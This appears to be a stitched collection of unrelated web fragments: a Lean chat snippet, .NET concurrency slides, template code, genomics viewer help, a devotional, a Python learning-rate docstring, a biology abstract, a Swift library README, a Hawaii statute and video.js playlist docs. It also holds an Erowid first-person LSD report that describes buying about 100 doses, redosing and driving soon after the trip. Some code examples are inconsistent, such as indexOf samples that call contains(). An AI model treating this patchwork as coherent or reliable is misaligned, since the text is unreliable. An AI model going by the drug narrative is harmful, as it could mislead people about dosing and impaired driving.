--- layout: archive title: Lean Prover Zulip Chat Archive permalink: archive/113488general/59595nolintdoc.html ---
Am I missing something or the nolint
attribute is not documented?
Hmm, looks like not. I just renamed sanity_skip
in the recent PR so I guess there was no doc for that either.


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| Name | Description | Jar File Name | Actions |
|---|---|---|---|
| Random Processor | Test | -- |
|
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum is simply dummy text of the printing and typesetting industry.
Lorem Ipsum is simply dummy text of the printing and typesetting industry.


Goals
Modern CPUs
- Not only x64. ARMs are coming!
- More cores, same speed, sad Moore :(
- Optimizations
Modern CPUs
- registries
- caches (L1, L2, L3)
- prefetcher
- predictor
- pipeline
- write buffer
Atomicity
- Do it in one step
- Lock'n'roll
- Claim and work.
Atomicity - Interlocked
- Atomic operations on CPU level
- They are frequently translated to one ASM instruction
Atomicity - Interlocked adding
- Interlocked.Add(ref counter, value)
- Interlocked.Increment(ref counter)
- Interlocked.Decrement(ref counter)
Atomicity - Interlocked swapping
- Interlocked.Exchange(ref location, newValue)
- Swaps value in the location with the newValue
- Returns old value
Atomicity - Interlocked conditional swapping
- Interlocked.CompareExchange(ref location, newValue, valueToCompare)
- Swaps value in the location with the newValue conditionally
- Returns old value
Memory models
Memory models
- Consider two virtual operations: LOAD & STORE
- Four possible combinations:
- LOAD-LOAD
- LOAD-STORE
- STORE-STORE
- STORE-LOAD
Memory models - barriers
- Inserted between two LOAD/STORE operations.
- A memory barrier is a simple mechanism that disables some reorderings
- A full memory barrier prohibits ANY reorderings
- A full memory barrier is emitted by:
- lock (obj)
- Interlocked.Add/Exchange
- when using high level constructs like WaitHandle
Memory models - barriers
- Aquire fence
- Volatile.Read
- Prohibits LOAD-LOAD
- Prohibits LOAD-STORE
- Release fence
- Volatile.Write
- Prohibits STORE-LOAD
- Prohibits STORE-STORE
Memory models - allowed reorderings
| Name |
LOAD-LOAD |
L-S |
S-S |
S-L |
| Full barrier (lock) |
|
|
|
|
| Aquire fence |
|
|
✔ |
✔ |
| Release fence |
✔ |
✔ |
|
|
| No fence |
✔ |
✔ |
✔ |
✔ |
Structures & implementation
Summary
- You can write ultra performant code in .NET
- You can go low level with Volatile, Interlocked
- It's all there waiting for YOUR app to be performant!


Upcoming Events
{% with self.events.all as events %} {% if events %}-
{% for event in events %}
{% include "events/includes/event_list_item.html" %}
{% endfor %}
{% raw %}{% extends "events/event_base.html" %} {% load wagtailcore_tags wagtailimages_tags %} {% block event_content %}


{% extends "webapp/_layout.html" %} {% block messages %}
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Advanced | Syntax Help
URL for this pattern (note: URL only preserves siteswap, beat duration, props and dwell path.)
Click/drag to rotate, scroll to zoom.
If animation slows down, refresh page.
Move the camera to the desired position and click "Generate GIF" to create a looped GIF for the pattern.
Learn more about gunswap at the project page.
Check out the siteswap graph animator.
Below are some examples, click one to play the animation.


New York Times
List of Books
Fetches books from the New York Times Api and displays it
Display All Best Sellers
All Novels
Title
Author
Image
Search:
SUBMIT
Title
Author
Image


A summary table of sample name, input files, key configuration options and the date of running the CoverView analysis. In addition, the number of flagged regions and genes are also provided. (A gene is defined to be flagged if it includes at least one flagged region.) If a text is too long to be displayed in the table, hover the mouse cursor over it to see the full text in the tooltip.
A bar plot displaying per-chromosome read counts and a table at the right side showing the total number of regions and the number of flagged regions for each gene. The bar plot presents both on-target and off-target read counts for each chromosome. Clicking on a particular bar in the plot selects/unselects the chromosome. If a chromosome is selected, only the genes located on that chromosome are listed in the table, otherwise all genes are shown.
Flagged genes (i.e. those with at least one flagged region) are highlighted in red. The table can be filtered to show either passed, flagged or all genes by the "Genes" option. The search box helps to find particular genes of interest.
A gene can be selected/unselected by clicking on the row of the table. If a gene is selected, the "Show Regions" and "Show Flagged Regions" buttons are visible. With "Show Regions" you can open the selected gene in Regions View where only the regions of the gene will be displayed. Clicking on the "Show Flagged Regions" button also redirects to Regions View, but only flagged regions of the gene will be listed.
A scrollable table of the genomic regions that have been analysed by CoverView. Columns of the table provide the following region-specific metrics: RC, MEDCOV, MINCOV, MEDQCOV, MINQCOV, MAXFLBQ, MAXFLMQ and PASS. For flagged regions, metrics values not satisfying quality requirements are highlighted in red.
The table can be filtered to show either passed, flagged or all regions by using the "Regions" option. With the "Reads" option, you can switch between displaying the above metrics for forward reads only, reverse reads only or all reads included. The search box helps to find particular regions of interest.
A region can be selected/unselected by clicking on the row of the table. If a region is selected, the "Show Profiles" and "Show Gene" buttons are visible. With "Show Profiles" you can open the selected region in Profiles View. Clicking on the "Show Gene" button redirects to Gene View showing the gene to which the selected region belongs.
An interactive graph of per-base quality profiles aligned with the reference sequence. The visible profiles correspond to the region selected in the left-side panel. The diplayed metrics can be changed with the selector at the top of both y-axes. The following per-base metrics can be selected: COV, QCOV, FLBQ, MEDBQ, FLMQ and MEDMQ. If two metrics are plotted together, the color of each line is the same as of the corresponding metrics selector (blue for the y-axis and red for the y2-axis). Hover the mouse cursor over a point of the plot to see the exact genomic position and metric value.
Click and drag on the plot to zoom in any section of the profiles. The genomic coordinates of the zoomed region are provided under the graph. You can move upstream and downstream or zoom out with the navigation buttons. It is possible to repeatedly zoom in up to DNA base-level. If the "Axes" option is set to "Normal", the y-axes will have the same scale when you zoom in, otherwise they will be re-scaled to be optimised for the visible section of the profiles.
With the "Reads" option, you can switch between showing the per-based profiles for forward reads only, reverse reads only or all reads included. Quality cut-off values used in the definition of "PASS" requirements can be displayed as dashed horizontal lines by switching on the "Cut-off" option. A horizontal line representing the cut-off value is visible only if the relevant metric is displayed and have the same color.
Flagged regions are highlighted in red in the left-side panel. Clicking on the "Show Region" button will open the selected region in the Region View.


--- layout: post date: 2011-03-22 time: "10:00:00" authors: ["Greg Wilson"] title: You'll Need a Large Screen tags: ["Content"] ---
I've been working on a graph showing
The latest version is linked from the thumbnail below. I know it's tangled, but I hope it's the first step toward a roadmap for redesigning this course to serve your needs better. Feedback and assistance would both be very welcome.


Current special price of coffee beans = $4.49
Price valid for 15 minutes from 19:42 on Wednesday 27/05/2009.


November 16
But thou, O man of God...fight the good fight of faith.1 Timothy 6:11-12
When you're up against the wall, don't start begging God to break through it for you. That's not the way He works. He'll give you the plan. He'll give you the power. And He'll guarantee the victory. But your hand, not His own, is the instrument He's going to use to get the job done. You're going to have to stretch forth your hand by speaking and acting on the Word, even when circumstances are against you.
God gave me a striking revelation of that over 20 years ago through a vision He gave me in Beaumont, Texas. I was preparing to minister in a service there, spending some time in prayer, when suddenly I saw myself standing in the pulpit of the church.
As he came into the church, his body expanded like a balloon, filling the whole room. He was snorting fire and smoke. When, in the vision, he turned it on me, he almost burned my clothes! As I fell back onto the floor, I saw Jesus standing nearby with a sword in His hand. "Why doesn't He do something about this?" I thought. "Can't He see I'm hurting?"
But He didn't move. He just stood by with a frown on His face. I could tell He was really put out with me. The Bible says God was not pleased with those who were overthrown in the wilderness (1 Cor. 10:5). And He wasn't pleased with me either as I lay there on my back in defeat. Then Jesus held out the sword to me and pointed at the dragon. The look on His face said, "Get up!" I reached up to catch hold of the sword, and an instant before I touched it, Jesus turned it loose.
The sword stayed in mid air of its own accord. I grabbed it and began to pull myself up. Not only did it hold firm, but it began to lift me! I stood and touched the dragon's chin with my sword and it split him from one end to the other. It laid him open right before my eyes. In amazement, I looked down at the sword. "Why haven't I used this before?" I thought. Don't wait for God to slay the dragon in your life. You have the sword of the Spirit, the all-powerful Word of the living God, at your fingertips. Pick it up and use it today!
Scripture Reading: Joshua 11:5-23


Blog Posts
Tech Blog 8: How Programming Languages and Associated Techniques/Tools Are Used | January 3, 2015
Cheat Sheet in Looping: Javascript vs. Ruby | December 23, 2014
Conflict | December 22, 2014
Ruby Classes vs. JavaScript Constructor Functions | December 14, 2014
Affirmation and Stereotype Threat | December 13, 2014
Stereotype Threat | December 7, 2014
Variable Scope: Global, Constant, Class, Instance, Local | December 6, 2014
Class and Instance Variables in Ruby | November 30, 2014
Pair Programming and Receiving Feedback | November 30, 2014
References: How-to's | Last Updated: November 25, 2014
Issues in Tech: the "Techie" Backlash | November 22, 2014
Enumerables: .each vs. .map vs. .map! | November 22, 2014
My Thinking Style and Learning | November 16, 2014
Wish List as an Array and Hash | November 16, 2014
Guided Pair Programming Website | November 11, 2014
Dog in a Box vs. Margin, Padding, Border | November 9, 2014
The Importance of Version Control, git, and Github | November 2, 2014
Kitchen vs. Table - Sheereef's Fireside Chat | November 2, 2014


| | |
- __builtin__.object
-
- AdaptiveLearningRate
class AdaptiveLearningRate(__builtin__.object) |
| |
Class for managing an adaptive learning rate schedule based on the
recent history of loss values. The adaptive schedule begins with an
optional warm-up period, during which the learning rate logarithmically
increases up to the initial rate. For the remainder of the training
procedure, the learning rate will increase following a period of monotonic
improvements in the loss and will decrease if a loss is encountered that
is worse than all losses in the recent period. Hyperparameters control the
length of each of these periods and the extent of each type of learning
rate change.
Note that this control flow is asymmetric--stricter criteria must be met
for increases than for decreases in the learning rate This choice 1)
encourages decreases in the learning rate when moving into regimes with a
flat loss surface, and 2) attempts to avoid instabilities that can arise
when the learning rate is too high (and the often irreversible
pathological parameter updates that can result). Practically,
hyperparameters may need to be tuned to optimize the learning schedule and
to ensure that the learning rate does not explode.
See test(...) to simulate learning rate trajectories based on specified
hyperparameters.
The standard usage is as follows:
# Set hyperparameters as desired.
alr_hps = dict()
alr_hps['initial_rate'] = 1.0
alr_hps['min_rate'] = 1e-3
alr_hps['max_n_steps'] = 1e4
alr_hps['n_warmup_steps'] = 0
alr_hps['warmup_scale'] = 1e-3
alr_hps['warmup_shape'] = 'gaussian'
alr_hps['do_decrease_rate'] = True
alr_hps['min_steps_per_decrease'] = 5
alr_hps['decrease_factor'] = 0.95
alr_hps['do_increase_rate'] = True
alr_hps['min_steps_per_increase'] = 5
alr_hps['increase_factor'] = 1./0.95
alr_hps['verbose'] = False
alr = AdaptiveLearningRate(**alr_hps)
# This loop iterates through the optimization procedure.
while ~alr.is_finished():
# Get the current learning rate
learning_rate = alr()
# Use the current learning rate to update the model parameters.
# Get the loss of the model after the update.
params, loss = run_one_training_step(params, learning_rate, ...)
# Update the learning rate based on the most recent loss value
# and an internally managed history of loss values.
alr.update(loss)
# (Optional): Occasionally save model checkpoints along with the
# AdaptiveLearningRate object (for seamless restoration of a training
# session)
if some_other_conditions(...):
save_checkpoint(params, ...)
alr.save(...) |
| |
Methods defined here:
- __call__(self)
- Returns the current learning rate.
- __init__(self, initial_rate=1.0, min_rate=0.001, max_n_steps=10000.0, n_warmup_steps=0, warmup_scale=0.001, warmup_shape='gaussian', do_decrease_rate=True, min_steps_per_decrease=5, decrease_factor=0.95, do_increase_rate=True, min_steps_per_increase=5, increase_factor=1.0526315789473684, verbose=False)
- Builds an AdaptiveLearningRate object
Args:
A set of optional keyword arguments for overriding the default
values of the following hyperparameters:
initial_rate: Non-negative float specifying the initial learning
rate. Default: 1.0.
min_rate: Non-negative float specifying the largest learning
rate for which is_finished() returns False. This can optionally be
used externally to signal termination of the optimization
procedure. This argument is never used internally--the learning
rate behavior doesn't depend on this value. Default: 1e-3.
max_n_steps: Non-negative integer specifying the maximum number of
steps before is_finished() will return True. This can optionally be
used externally to signal termination of the optimization
procedure. This argument is never used internally--the learning
rate behavior doesn't depend on this value. Default: 1e4.
n_warmup_steps: Non-negative int specifying the number of warm-up
steps to take. During these warm-up steps, the learning rate will
monotonically increase up to initial_rate (according to
warmup_scale and warmup_shape). Default: 0 (i.e., no
warm-up).
warmup_scale: Float between 0 and 1 specifying the learning rate
on the first warm-up step, relative to initial_rate. The first
warm-up learning rate is warmup_scale * initial_rate. Default:
0.001.
warmup_shape: String indicating the shape of the increasing
learning rate during the warm-up period. Options are 'exp'
(exponentially increasing learning rates; slope increases
throughout) or 'gaussian' (slope increases, then decreases; rate
ramps up faster and levels off smoother than with 'exp').
Default: 'gaussian'.
do_decrease_rate: Bool indicating whether or not to decrease the
learning rate during training (after any warm-up). Default: True.
min_steps_per_decrease: Non-negative int specifying the number
of recent steps' loss values to consider when deciding whether to
decrease the learning rate. Learning rate decreases are made when
a loss value is encountered that is worse than every loss value in
this window. When the learning rate is decreased, no further
decreases are considered until this many new steps have
transpired. Larger values will slow convergence due to the
learning rate. Default 5.
decrease_factor: Float between 0 and 1 specifying the extent of
learning rate decreases. Whenever a decrease is made, the learning
rate decreases from x to decrease_factor * x. Values closer to 1
will slow convergence due to the learning rate. Default: 0.95.
do_increase_rate: Bool indicating whether or not to increase the
learning rate during training (after any warm-up). Default: True.
min_steps_per_increase: Non-negative int specifying the number
of recent steps' loss values to consider when deciding whether to
increase the learning rate. Learning rate increases are made when
the loss has monotonically decreased over this many steps. When
the learning rate is increased, no further increases are
considered until this many new steps have transpired. Default 5.
increase_factor: Float greater than 1 specifying the extent of
learning rate increases. Whenever an increase is made, the
learning rate increases from x to increase_factor * x. Larger
values will slow convergence due to the learning rate. Default:
1./0.95.
verbose: Bool indicating whether or not to print status updates.
Default: False.
- is_finished(self, do_check_step=True, do_check_rate=True)
- Indicates termination of the optimization procedure. Note: this
function is never used internally and does not influence the behavior
of the adaptive learning rate.
Args:
do_check_step: Bool indicating whether to check if the step has
reached max_n_steps.
do_check_rate: Bool indicating whether to check if the learning rate
has fallen below min_rate.
Returns:
Bool indicating whether any of the termination criteria have been
met.
- restore(self, restore_dir)
- Restores the state of a previously saved AdaptiveLearningRate
object.
Args:
restore_dir: A string containing the directory in which to find a
previously saved AdaptiveLearningRate object.
Returns:
None.
- save(self, save_dir)
- Saves the current state of the AdaptiveLearningRate object.
Args:
save_dir: A string containing the directory in which to save.
Returns:
None.
- test(self, bias=0.0, fig=None)
- Generates and plots an adaptive learning rate schedule based on a
loss function that is a 1-dimensional biased random walk. This can be
used as a zero-th order analysis of hyperparameter settings,
understanding that in a realistic optimization setting, the loss will
depend highly on the learning rate (such dependencies are not included
in this simulation).
Args:
bias: A float specifying the bias of the random walk used to
simulate loss values.
Returns:
None.
- update(self, loss)
- Updates the learning rate based on the most recent loss value
relative to the recent history of loss values.
Args:
loss: A float indicating the loss from the current training step.
Returns:
A float indicating the updated learning rate.
Data descriptors defined here:
- __dict__
- dictionary for instance variables (if defined)
- __weakref__
- list of weak references to the object (if defined)
- min_steps
- Computes the minimum number of steps required before the learning
rate falls below the min_rate, i.e., assuming the rate decreases at
every opportunity permitted by the properties of this
AdaptiveLearningRate object.
Args:
None.
Returns:
An int specifying the minimum number of steps in the adaptive
learning rate schedule.
Data and other attributes defined here:
- default_hps = {'decrease_factor': 0.95, 'do_decrease_rate': True, 'do_increase_rate': True, 'increase_factor': 1.0526315789473684, 'initial_rate': 1.0, 'max_n_steps': 10000.0, 'min_rate': 0.001, 'min_steps_per_decrease': 5, 'min_steps_per_increase': 5, 'n_warmup_steps': 0, ...}
| |


Uncoupling of nonreceptor tyrosine kinases from PLC-gamma1 in an SLP-76-deficient T cell.
Abstract
Activation of nonreceptor protein tyrosine kinases (PTKs) is essential for T cell receptor (TCR) responsiveness; however, the function of individual PTK substrates is often uncertain. A mutant T cell line was isolated that lacked expression of SLP-76 (SH2 domain-containing leukocyte protein of 76 kilodaltons), a hematopoietically expressed adaptor protein and PTK substrate. SLP-76 was not required for TCR -induced tyrosine phosphorylation of most proteins, but was required for optimal tyrosine phosphorylation and activation of phospholipase C-gamma1 (PLC-gamma1), as well as Ras pathway activation. TCR -inducible gene expression was dependent on SLP-76. Thus, coupling of TCR-regulated PTKs to downstream signaling pathways requires SLP-76.


| DOSE: T+ 0:00 |
1 hit |
oral |
LSD |
(cookie / food) |
| T+ 2:00 |
1 hit |
oral |
LSD |
(cookie / food) |
For the past 5 years of my life I have learned everything I could about LSD. I have a very focused interest in drugs, there use, and abuse. While not much of a ďdrug userĒ myself, only cannabis a handful of times in my life, the aspect of the chemical interactions produced in our brains fascinates me. LSD has always seems as the epitome of the ďnear lifeĒ experience psychedelics offer and Iíve wanted to try it for a long time.
I donít know the type of people you need to know to get LSD these days, itís not easy in my area. Cannabis is not an issue, but LSD is nearly non-existent and has been from what I have learned sense about 2003 or so. Slowly I made some contacts that would eventually lead me to writing about my experience today.
Two weeks ago I got the phone call that itís a ďgoĒ. I did not just want a few hits, I intended to purchase a very large quantity so I might keep it in cold storage for a very long time (hopefully my whole life) to use every year or so. My buddy came though and in my freezer vacuum sealed is some 100 sugar cubes with LSD in them.
This past weekend I ďdropped acidĒ for the first time, and I must say it lived up to every expectation and everything thing I had read in the past few year about it. My experience was extremely positive. Here is a basic recount of it:
5:30pm
Downed 1 sugar cube, at this point I donít know if Iíve been burned on the deal or not, and I have no way to test to see if itís real or not. I dissolved the sugar cube in a glass of water, and drank it all. I must say I was extremely nervous about what I was doing, it was very very unknown to me.
6:00
I took a walk, no effect that I could tell, very nervous still.
7:00
I felt extremely anxious, but I truly though the feeling I had and generally restlessness was a placebo effect and not the drug, at this point I had begun to think I got burned. (100 hits of acid these days is not cheap!)
7:30
Same feeling as at 7:00, I decided to take another hit, thinking maybe there were very old or not well stored and had very little LSD that was active in them. I knew the threshold effects take place somewhere around 25 micrograms so my skewed logic at the time was I may have not passed this threshold. Effects were suppose to set in, in the 60-120 minute mark, but seemed they had not. So another glass of water and another cube was downed at this time. Looking back I think the effects had started I just did not really realize it, and taking another cube was poor clouded judgment.
7:45
Extremely nervous, very warm and I started to think this was no longer a placebo effect, and that taking that second cube may have been a bad idea.
7:50
I went to my living room window, and looked out into the garden. I noticed my reflection in the glass of the window, it was very blue even though my shirt was tan in color. I stared for a bit and noticed my vision started to flicker like a low refresh rate on a CRT computer screen. I then looked at myself in my bathroom mirror to see if my eyes were dilated, they were not yet, or at least it did not seem as such. The reflections in my eye were amazing, it was like staring in to my soul, and seeing the universe for what it was for the first time ever.
8:00
Sitting at my computer listing to music I was amazed at how the room looked, it was like I was a child again, everything felt new and unknown. Time was starting to slow down a lot, it seemed like 15 minute intervals were 1-2 hours, while 1 hour intervals were 2-3 minutes, almost a giant expansion and then compression of time. I closed my eyes and started to noticed some very very intense CEVís, very pretty and much more complex then what pot gives you. And none of the memory loss pot has either! I can recall everything in such great detail.
9:00ish
I remember looking around and thinking this was amazing, but still had yet to see any real visual effects, then suddenly I looked at the carpet (I thought of fear and loathing in Las Vegas and what it looked like when they were tripping on LSD) then all of a sudden the carpet started to swirl and then to my absolute astonishment the entire floor in my office was a beautiful sea of plants pulsing to the music. Looking at my computer screen the white space in the itunes program widow was flooded with amazing colors and shapes, complex paisley patterns and geometric shapes.
9:30ish
My girlfriend arrived, I found talking extremely hard, and the amount of intense thoughts I had was so incredibly overwhelming. I asked for her to walk about the neighborhood with me. I will never forget that walk as long as I live, it was amazing. The sensory cross over I experienced, the motion trails, the colors, sounds, and the sunset was probley the most amazing thing I have ever seen in my life.
Later that evening after she left I had some very intense visuals, I watched TV for a bit and every pattern on the TV was on the walls around it as well. Some other highlights were seeing my kitchen sink in neon colors with patterns all over, and the titles in my bathroom morph into various shapes. While the visual aspects were amazing, my thoughts were so profound. I leaned about about myself in the next 10 hours or so.
At 5:30am I went for a walk as the sun was coming up, the bird sounds I heard I experienced visually, the walk was very nice. I took a shower around 8:30 and went downtown by car feeling that I could drive at this point. Breakfast tasted great and the rest of the day was great. From going to the mall, to having sex later, everything was intensified. I went to bed around 9pm having been up for well over 24 hours.
I slept great, the next day I needed a lot of caffeine to stay awake, and I was in a generally poor mood, probley do to serotonin levels in my brain being all out of whack. I could go on and on about what I learned about life that night, I think itís sufficient to say that it was the most life changing experiences I have ever had in a 24 hour period, and I hope in a few months to repeat it again.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


PleaseHold
Quick and easy progress UIView to place in your app.
What is PleaseHold?
In the moments when you need to show a blocking progress UIView in your app, PleaseHold is a quick way to put one in your app. Configured with default settings that will work for most use cases, but customizable enough to cover more. Do us all a favor, and avoid blocking views as much as you can 😉.
Why use PleaseHold?
- Swift API
- Lightweight. Zero dependencies.
- UI testing friendly.
- Setup with default values that should work for 95% of your use cases. Customizable for those other cases.
- Full test suite.
- Full documentation.
I recommend you check out 2 other libraries that work nicely with PleaseHold: Empty and Swapper.
Installation
PleaseHold is available through CocoaPods. To install it, simply add the following line to your Podfile:
pod 'PleaseHold', '~> version-here'
Replace version-here
with: as this is the latest version at this time.
Getting started
- Create an instance of
PleaseHoldView
in yourUIViewController
. You can do this with Storyboard by adding aUIView
to Storyboard and setting theUIView
class toPleaseHoldView
, or create an instance in your Swift code:
let pleaseHoldView: PleaseHoldView = {
let view = PleaseHoldView()
view.title = nil // title is optional
view.message = nil // message is optional
view.translatesAutoresizingMaskIntoConstraints = false
return view
}()
- Add the
PleaseHoldView
to yourUIViewController
. Pretty simple.
If you want to change the text of the title or message UILabel
s, you can change them at runtime:
pleaseHoldView.title = "New title"
pleaseHoldView.message = "New message"
Or, if you want to hide one of the labels, you can just set nil
:
pleaseHoldView.title = nil
pleaseHoldView.message = nil
Configure PleaseHold
PleaseHold works great without any configuration necessary. However, if you wish to customize it yourself, you can.
If you want to change the default values of all instances of PleaseHold
in your app, change the values in the default singleton:
PleaseHold.defaultConfig.viewPadding = 10.0
Or, you can configure 1 single instance of PleaseHold
:
let pleaseHoldView = PleaseHoldView()
pleaseHoldView.config.newTitleLabel = {
let label = PleaseHoldViewConfig.defaultTitleLabel
label.textColor = .blue
return label
}
pleaseHoldView.title = "Set title here, it will have blue text color!"
To make re-useable configurations for PleaseHoldView
, it’s recommended to create an PleaseHoldViewConfigPresent
:
/// Convenient set of `UIView`s that are dark in color. Great for light colored backgrounds.
public struct DarkPleaseHoldViewConfigPreset: PleaseHoldViewConfigPreset {
/// Dark colored title label.
public var titleLabel: UILabel {
let label = PleaseHoldViewConfig.defaultTitleLabel
label.textColor = .darkText
return label
}
/// Dark colored message label.
public var messageLabel: UILabel {
let label = PleaseHoldViewConfig.defaultMessageLabel
label.textColor = .darkText
return label
}
/// Dark colored activity indicator.
public var activityIndicator: UIActivityIndicatorView {
let indicator = PleaseHoldViewConfig.defaultActivityIndicator
indicator.style = .gray
return indicator
}
}
let pleaseHoldView = PleaseHoldView()
pleaseHoldView.config = DarkPleaseHoldViewConfigPreset().config
For convenience, PleaseHold
comes with a light and dark colored present: DarkPleaseHoldViewConfigPreset
and LightPleaseHoldViewConfigPreset
that you can use or extend.
There are many things you can configure for PleaseHold
. For a list of all the configuration options, view the docs on PleaseHoldViewConfig
Example
PleaseHold comes with an example app you can use to play with the library. To run the example project, clone the repo, and run pod install
from the Example directory first. Then, open the workspace in XCode.
Development
PleaseHold is a pretty simple CocoaPods library project. Follow the directions below for the optimal development experience.
- Install cocoapods/gems and setup workspace:
$> bundle install
$> cd PleaseHold/Example
$> pod install
- Setup git hooks via overcommit to run misc tasks for you when using git.
$> overcommit --install
Author
- Levi Bostian - GitHub, Twitter, Website/blog
Contribute
PleaseHold is open for pull requests. Check out the list of issues for tasks I am planning on working on. Check them out if you wish to contribute in that way.
Want to add features to PleaseHold?  This might save you some time in case your purpose does not fit well in the use cases of PleaseHold.
License
PleaseHold is available under the MIT license. See the LICENSE file for more info.


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§1-10 Effect of repeal on accrued rights. The repeal of any law shall not affect any act done, or any right accruing, accrued, acquired, or established, or any suit or proceedings had or commenced in any civil case, before the time when the repeal takes effect. [CC 1859, §22; RL 1925, §24; RL 1935, §26; RL 1945, §26; RL 1955, §1-13; HRS §1-10]
Rules of Court
Effect of rules of court on pending proceedings, see HRPP rule 59 and Sup. Ct. order of October29, 1976.
Attorney General Opinions
New administrative rules superseded old rules as to all matters except permit applications that were filed before July1, 1994; further, on or after July1, 1994, when statutory authority for old rules was repealed, the old rules were void and not in effect, the only exception being with respect to pending permit applications from the period before July1, 1994. Att. Gen. Op. 97-4.
Case Notes
A law repealing former divorce laws does not affect pending suits. 3 H. 304.
Repeal in 1859 of provision for reservation of mineral rights, effect of. 49 H. 429, 442, 421 P.2d 570.


player.playlist([Array newList], [Number newIndex]) -> Array
A playlist is an array of playlist items. A playlist item is an object with the following properties:
| Property | Type | Optional | Description |
|---|---|---|---|
sources |
Array | An array of sources that video.js understands. | |
poster |
String | ✓ | A poster image to display for these sources. |
player.playlist([Array newList], [Number newIndex]) -> Array
Get or set the current playlist for a player.
If called without arguments, it is a getter. With an argument, it is a setter.
player.playlist([{
sources: [{
src: 'http://media.w3.org/2010/05/sintel/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/sintel/poster.png'
}, {
sources: [{
src: 'http://media.w3.org/2010/05/bunny/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/bunny/poster.png'
}, {
sources: [{
src: 'http://vjs.zencdn.net/v/oceans.mp4',
type: 'video/mp4'
}],
poster: 'http://www.videojs.com/img/poster.jpg'
}, {
sources: [{
src: 'http://media.w3.org/2010/05/bunny/movie.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/bunny/poster.png'
}, {
sources: [{
src: 'http://media.w3.org/2010/05/video/movie_300.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/video/poster.png'
}]);
// [{ ... }, ... ]
player.playlist([{
sources: [{
src: 'http://media.w3.org/2010/05/video/movie_300.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/video/poster.png'
}]);
// [{ ... }]
If a setter, a second argument sets the video to be loaded. If omitted, the
first video is loaded. If -1
, no video is loaded.
player.playlist([{
sources: [{
src: 'http://media.w3.org/2010/05/sintel/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/sintel/poster.png'
}, {
sources: [{
src: 'http://media.w3.org/2010/05/bunny/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/bunny/poster.png'
}], 1);
// [{ ... }]
player.playlist.currentItem([Number index]) -> Number
Get or set the current item index.
If called without arguments, it is a getter. With an argument, it is a setter.
If the player is currently playing a non-playlist video, it will return -1
.
var samplePlaylist = [{
sources: [{
src: 'http://media.w3.org/2010/05/sintel/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/sintel/poster.png'
}, {
sources: [{
src: 'http://media.w3.org/2010/05/bunny/trailer.mp4',
type: 'video/mp4'
}],
poster: 'http://media.w3.org/2010/05/bunny/poster.png'
}];
player.currentItem();
// 0
player.currentItem(2);
// 2
player.playlist(samplePlaylist);
player.src('http://example.com/video.mp4');
player.playlist.currentItem();
// -1
player.playlist.contains(String|Object|Array value) -> Boolean
Determine whether a string, source object, or playlist item is contained within a playlist.
Assuming the playlist used above, consider the following example:
player.playlist.contains('http://media.w3.org/2010/05/sintel/trailer.mp4');
// true
player.playlist.contains([{
src: 'http://media.w3.org/2010/05/sintel/poster.png',
type: 'image/png'
}]);
// false
player.playlist.contains({
sources: [{
src: 'http://media.w3.org/2010/05/sintel/trailer.mp4',
type: 'video/mp4'
}]
});
// true
player.playlist.indexOf(String|Object|Array value) -> Number
Get the index of a string, source object, or playlist item in the playlist. If not found, returns -1
.
Assuming the playlist used above, consider the following example:
player.playlist.indexOf('http://media.w3.org/2010/05/bunny/trailer.mp4');
// 1
player.playlist.contains([{
src: 'http://media.w3.org/2010/05/bunny/movie.mp4',
type: 'video/mp4'
}]);
// 3
player.playlist.contains({
sources: [{
src: 'http://media.w3.org/2010/05/video/movie_300.mp4',
type: 'video/mp4'
}]
});
// 4
player.playlist.first() -> Object|undefined
Play the first item in the playlist.
Returns the activated playlist item unless the playlist is empty (in which case, returns undefined
).
player.playlist.first();
// { ... }
player.playlist([]);
player.playlist.first();
// undefined
player.playlist.last() -> Object|undefined
Play the last item in the playlist.
Returns the activated playlist item unless the playlist is empty (in which case, returns undefined
).
player.playlist.last();
// { ... }
player.playlist([]);
player.playlist.last();
// undefined
player.playlist.next() -> Object
Advance to the next item in the playlist.
Returns the activated playlist item unless the playlist is at the end (in which case, returns undefined
).
player.playlist.next();
// { ... }
player.playlist.last();
player.playlist.next();
// undefined
player.playlist.previous() -> Object
Go back to the previous item in the playlist.
Returns the activated playlist item unless the playlist is at the beginning (in which case, returns undefined
).
player.playlist.next();
// { ... }
player.playlist.previous();
// { ... }
player.playlist.first();
// { ... }
player.playlist.previous();
// undefined
player.playlist.autoadvance([Number delay]) -> undefined
Sets up playlist auto-advance behavior.
Once invoked, at the end of each video in the playlist, the plugin will wait delay
seconds before proceeding automatically to the next video.
Any value which is not a positive, finite integer, will be treated as a request to cancel and reset the auto-advance behavior.
If you change auto-advance during a delay, the auto-advance will be canceled and it will not advance the next video, but it will use the new timeout value for the following videos.
// no wait before loading in the next item
player.playlist.autoadvance(0);
// wait 5 seconds before loading in the next item
player.playlist.autoadvance(5);
// reset and cancel the auto-advance
player.playlist.autoadvance();
player.playlist.repeat([Boolean val]) -> Boolean
Enable or disable repeat by passing true or false as the argument.
When repeat is enabled, the "next" video after the final video in the playlist is the first video in the playlist. This affects the behavior of calling next()
, of autoplay, and so on.
This method returns the current value. Call with no argument to use as a getter.
Examples:
player.repeat(true);
player.repeat();
// true
player.repeat(false);
player.repeat();
// false
playlistchange
This event is fired asynchronously whenever the contents of the playlist are changed (i.e., when player.playlist()
is called with an argument).
It is fired asynchronously to let the browser start loading the first video in the new playlist.
player.on('playlistchange', function() {
player.playlist();
});
player.playlist([]);
// [ ... ]
player.playlist([]);
// [ ... ]
beforeplaylistitem
This event is fired before switching to a new content source within a playlist (i.e., when any of currentItem()
, first()
, or last()
is called, but before the player's state has been changed).
playlistitem
This event is fired when switching to a new content source within a playlist (i.e., when any of currentItem()
, first()
, or last()
is called; after the player's state has been changed, but before playback has been resumed).


